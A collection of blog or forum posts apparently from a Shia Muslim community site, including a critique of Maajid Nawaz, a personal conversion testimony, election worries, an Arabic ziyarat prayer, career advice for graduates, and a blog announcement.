    He calls extremism rejection of homosexuality, supports Western policies in the middle east and is a complete hypocrite. 

    Here are some statements from relatives and friends of Nawaz, from this article https://newrepublic.com/article/128436/maajid-nawaz-really-believe

    “Most in my family who witnessed his life outside home, religious or irreligious, find his story at least exaggerated or embellished for his agenda, if not absolutely false,” Nawaz’s elder brother, Kaashif, said. 

     

    Ashraf Hoque, a friend from Nawaz’s college days, is more blunt. 

    “He is neither an Islamist nor a liberal,” he said. “Maajid is whatever he thinks he needs to be.” 

     

    Former prison mate Ian Nisbet: “There was never a moment that Maajid had anything good to say about secularism in the prison,” 

     

    According to his cousin Yasser Nabi, who vidited him in prison: “In prison, Maajid and I spoke about many things and what was clear at the time was that his views had changed very little,” Nabi said. “In some ways, he became more jihadist in certain things. … Our discussions did not indicate any kind of push towards liberalism.”

     

    At a press conference after his discharge, Nawaz said, “I have become more convinced of the ideas that I went into prison with.”

     

    “If he were having doubts upon his return to the UK, and was leaning towards secularism, it would be reasonable to expect some manifestation of this doubt—perhaps a softening of his views, some internal dissent around the margins,” said AbdusSabur Qutubi, one of Nawaz’s friends in his youth who left Hizb ut-Tahrir in 2006. 

     

    It seems, as Mr. Nawaz's former roommate put it, he is whatever he feels like he needs to be.

    Still in progress but Inshallah more soon

  16. :salam:

    After having many people telling me I should write my story and that it will be beneficial for my shia brothers and sisters, that it would be inspirational for their religious path, I decided to write it.

    Humans from the very beginning of time fight for something to believe in, they struggle with reality as they try to make sense of their world. As I grew up I always felt there was an ultimate truth and knowledge hidden from us, I just didn’t know where and how to look or even What to look for. I used to lead a very very reckless sinful lifestyle, since I was trying to find my place in this world in my own ways so I decided to try everything and live with no boundaries. I always felt this deep Emptiness that was never filled, so I did what I had to do in order to discover what might fill this empty hole. I even experienced the power of love but it was all just temporary, everything in this world is temporary. I loved to try everything, I had neither moral standards nor basics to follow, I used to love life and was living it to its fullest. I felt independent like nothing and no one can stop me because I was free to do whatever I want but in reality I had all these invisible chains around me pulling me back deceiving me to think that I was liberated (that’s one of the tricks of the devil he makes you think you’re free but you’re his prisoner).

    I felt the happiness instantly with the moment and later when I’d go home I would feel depressed and sad like I was missing something, I couldn’t sit alone I couldn’t stand home, my soul was always agitated and unsettled.

    I studied Christianity before but it was all science fiction. Studying Christianity made me even more lost and drove me to doubt the existence of God, which was worse; I would die just to know what can fill this empty space I always had. I asked myself is that it? We came here to eat sleep party have fun work make a family and die...

    One night when I hit rock bottom after I finished this self-discovery journey and I arrived nowhere, I started calling upon God (without even being sure that He existed and listening), I told him God if you were there if you existed please help me find my way, suddenly and out of nowhere there was a man whom I’ve met 4 years ago, he started coming up to my mind which was so weird because I had no interest what so ever to talk to him and see him(because he was a muslim and I didn’t like Islam just like any other brainwashed Christian middle eastern person) so I contacted him, turns out he was a committed Shia who triggered my path into Islam, and in the same time I met a Christian man who was living in France and he converted the same month as I did, this was God telling me that I’m not alone, this was God giving me a kind of motif, I mean what are the odds?

    Whoever wants God, God will answer him, He will not leave him alone, but only few people really want God all they want is this world, they are blinded by it.

    When I found Islam, my ultimate destiny, and when I found God it felt so ecstatic and intense, I felt this deep power and enlightenment, It was entirely uplifting, deeply emotional and pleasurable, I felt a deep joy that finally my existence made sense, that God gave me a purpose to live for to strive for and to fight for, to reach the highest level of existence. He chose me out of all these people who are lost, I had met more than 2,000 people and he just gave me this special gift, showed me the door to his secrets, Our(shias) status To God is special, this is why we should fight this world and fight ourselves and desires and never give up, to be worthy of this privilege that God gave us. When I personally realized this it was time for the hard work. When we understand the power laying behind us we would never have to fear anything ever again in our entire life. 

    I was so afraid to jump into this transition, my faith was weak and I had doubts at some moments. I had to give up my friends, my activities, habits, shut off my desires, change my morals, my rules, my lifestyle, my priorities, my social life, my behavior… I was shifting my core belief which is something very hard for a human to change. I was trapped and afraid at some point; I didn’t know how to do it. I was never home, I was never alone, I was lazy, I never respected my parents, I didn’t prioritize anything except my plans, I’d quite jobs because my work schedule didn’t match my entertaining plans...This is how much I was messed up and attached to the world.

    I seeked happiness and the more you feel happiness the more you want it, it’s like a drug, so you indulge more in dunya activities until you are completely lost.  Happiness wasn’t created to feel here, happiness is for the next world, we should never waste time here getting attached to this world because we will do eventually whatever we want in the afterlife. We are born to pass this test and to return to our original home where Prophet Adam was created. It took me time to realize this.

    My friends were atheists, mushrikin, infidels, and almost all my activities were sinning, I quite them all and now I don’t befriend no one but the lovers of Ahlulbayt. It was very hard and I suffered deeply at some point, washing away your sins purifying yourself from them is EXTREMELY hard, it’s like you’re pulling forward and the devil is pulling you back all the time. But God didn’t let me feel I’m alone, he rewarded me, gave me a steady job where I can be fully committed in, gave me this feeling of security and self-satisfaction, gave me Many privileges that I didn’t possess before. This entire process made me someone else; I became very mentally strong and different. Islam isn’t for sissies; Islam needs strengths, stability, mental toughness, brave hearted individuals who take sacrifices for God, who are ready to face the evil and the challenges of this world.

    The equation is simple, as much as you give God as much as He gives you in return. After I was guided I tested myself, tried doing some things that I did in the past to see if this was a phase in my life, but I felt disgusted ashamed weak and I became afraid of death. Now if I touch a man by mistake or if I eat something from a table that has alcohol on it without paying attention I would think about it for 3 days feeling guilty because I disappointed God. I do not fear punishment as much I fear to fail God, because I love Him, that is the true worshiping. Each time I do something to get closer to God I feel my soul elevating I feel that I’m gaining spiritual power and my perspective towards the world changes… Everyone told me it's just a phase but as each day is passing I'm falling more in love with this religion and with Ahlulbayt. I still have hard time committing to my religion as my parents don't know(or kinda in denial), so i practice everything in secrecy.

    To conclude I want to tell you, brothers and sisters something, this world is evil, you shouldn’t love it nor seek to have fun in it, you should hate it and never ever be dependent on something related to it, even though I know the truth behind my past life how it’s all evil empty and worthless, it still tempts me sometimes till this very day, the love of this world isn’t easy so don’t get yourself trapped because once you’re in it’s so difficult to get out. Don’t go to hell to enjoy life here; don’t sell your soul to the devil.

  17. Salaam everyone.

    I am very nervous about who's going to win. Trump is slightly edging out Hillary Clinton. I fear for the Muslims living in the US. I fear that something bad might happen. I really hope they are ready for when Trump starts his plan of banning Muslims, they need to find a safe place to reside. Luckily, I am in Canada which is a very safe home where I was born. I am fine with Justin Trudeau as prime minister succeeding Stephen Harper (who was going to make things worse for Muslims). Justin Trudeau is not that racist towards Muslims like Trump is, he is actually nice when compared to the racist garbage that Trump spews out. Canada is a good home for Muslims.  I am really worried as I am writing this. I really do not want Trump to win.

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    لإمام جعفر الصادق عليه الصلاة والسلام

    السَّلامُ عَلَيْكَ أَيُّهَا الإِمَامُ الصَّادِقُ السَّلامُ عَلَيْكَ أَيُّهَا الوَصِيُّ النَّاطِقُ السَّلامُ عَلَيْكَ أَيُّهَا الفَاتِقُ الرَّاتِقُ السَّلامُ عَلَيْكَ أَيُّهَا السَّنَامُ الأَعْظَمُ السَّلامُ عَلَيْكَ أَيُّهَا الصِّرَاطُ الأَقْوَمُ السَّلامُ عَلَيْكَ يَا مِفْتَاحَ الخَيْرَاتِ السَّلامُ عَلَيْكَ يَا مَعْدِنَ البَرَكَاتِ السَّلامُ عَلَيْكَ يَا صَاحِبَ الحُجَجِ وَالدَّلالاتِ السَّلامُ عَلَيْكَ يَا صَاحِبَ البَرَاهِينِ الوَاضِحَاتِ السَّلامُ عَلَيْكَ يَا نَاصِرَ دِينِ اللَّهِ السَّلامُ عَلَيْكَ يَا نَاشِرَ حُكْمِ اللَّهِ السَّلامُ عَلَيْكَ يَا فَاصِلَ الخِطَابَاتِ السَّلامُ عَلَيْكَ يَا كَاشِفَ الكُرُبَاتِ السَّلامُ عَلَيْكَ يَا عَمِيدَ الصَّادِقِينَ السَّلامُ عَلَيْكَ يَا لِسَانَ النَّاطِقِينَ السَّلامُ عَلَيْكَ يَا خَلَفَ الخَائِفِينَ السَّلامُ عَلَيْكَ يَا زَعِيمَ الصَّالِحِينَ السَّلامُ عَلَيْكَ يَا سَيِّدَ المُسْلِمِينَ السَّلامُ عَلَيْكَ يَا كَهْفَ المُؤْمِنِينَ السَّلامُ عَلَيْكَ يَا هَادِيَ المضِلِّينَ السَّلامُ عَلَيْكَ يَا سَكَنَ الطَّائِعِينَ أَشْهَدُ يَا مَوْلايَ أَنَّكَ عَلَمُ الهُدَى وَالعُرْوَةُ الوُثْقَى وَشَمْسُ الضُّحَى وَبَحْرُ النَّدَى وَكَهْفُ الوَرَى وَالمَثَلُ الأَعْلَى وَصَلَّى اللَّهُ عَلَى رُوحِكَ وَبَدَنِكَ وَالسَّلامُ عَلَيْكَ وَعَلَى العَبَّاسِ عَمِّ رَسُولِ اللَّهِ صَلَّى اللَّهُ عَلَيْهِ وَآلِهِ وَرَحْمَةُ اللَّهِ وَبَرَكَاتُه

  18. Salaam.

    As someone who has seen a little bit of success in the corporate world, I would like to take this opportunity to offer career advice to college-going and recent graduates of ShiaChat who are about to embark on their careers.

    01) Don't start planning and looking for a job when you have less than 2-3 months left of college. Job-hunting begins when you have about a year left to graduate. Identify companies you would like to work for; try to network with people to belong to these companies.

    02) Create a LinkedIn Profile and keep it updated. Try to connect with people in Talent Acquisition (TA) within the companies you are interested in working for.

    03) Inquire about internship opportunities within these companies even if the internships are unpaid. The experience and networking opportunities should be well worth it.

    04) Career planning does not mean looking for your next job. Career planning is planning for your last job before retirement and then working your backwards to your current position. This leads to an important exercise. You have to ask yourself - "Where do I want to be in 45 years?" (45 years if starting career around 22 and working until 67). If you don't know, then work on it -  think about it, evaluate your degree and see if it will help you, look at successful people with your degree. How far did they get in their careers?

    05) Once you've figured out where you would like to be in 45 years, work your way backwards in 5 year intervals to different positions you will need to hold in order to get to the next level. Let's take an example within IT. You are 22 and graduating today with a degree in programming and plan to retire as CIO. Career planning would go something like:

    • CIO (62 - 67)
    • IT Director (56 - 61)
    • Senior Manager (50 - 55)
    • Department Manager (44 - 49)
    • Project Manager (38 - 43)
    • Team Leader (32 - 37)
    • Programmer Analyst (27 - 21)
    • Programming Specialist (22 - 26)

    It is important to note that first position and last position should be fixed. You should be flexible about all other positions in between. When evaluating new job opportunities, the first question you should ask is whether the new position will help you get to your end goal or not. If not, look elsewhere.

    06) I mentioned 5 year intervals. If you are stuck in the same position for 5 years, then your career has become stagnant. Ideally, you should receive a promotion every 2.5 years or so. This does not necessarily mean a title change as much as increasing and/or different responsibilities.

    07) Don't change jobs too frequently (every 18 months or so). It looks bad on a resume.

    08) Don't be afraid to move laterally if it will help your end goal. Example, if you are stuck as a PM in a company and you know there is no upward mobility, then it is okay to find a PM position in another company if there is chance for growth.

    09) For the most part, your degree will only help you get your first job. After that, it's what you make of yourself.

    10) Never leave a position on bad terms. The corporate world is a lot smaller than you think.

    Most people think of the corporate ladder as a straight ladder bottom to top. A more appropriate description is that a corporate ladder is more like a Donkey Kong Maze:

    590b9a16a05b2_DKMaze.jpg.852b1aff12689568224995d5f79d46c9.jpg

    You have to navigate your way through the stumbling blocks to reach the top.

    "Where do you see yourself in 5 years?" is a very common interview question. You are almost guaranteed a job if this question is asked and you tell them that you have planned your career until retirement nad explain how this position would help you get there.

    I hope this helps. Feel free to reply here with questions or PM me. But my first question back will be "Where do you see yourself in 5 years?"

     

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  19. Bismillah

    InshAllah I will be sharing my perspective on a few issues on this blog which I feel are of particular importance to Muslims in the West:

    • Dealing with bullying
    • Difficulties with family and society on becoming more religiously practicing
    • Towards a literate (Islamically and in non-religious areas) Muslim community
    • How a Muslim community should act in a non-Muslim society

     

    There it is, a promise of delivery, inshAllah.

     

    I will inshAllah start writing soon, after some additionaly preliminary readings.

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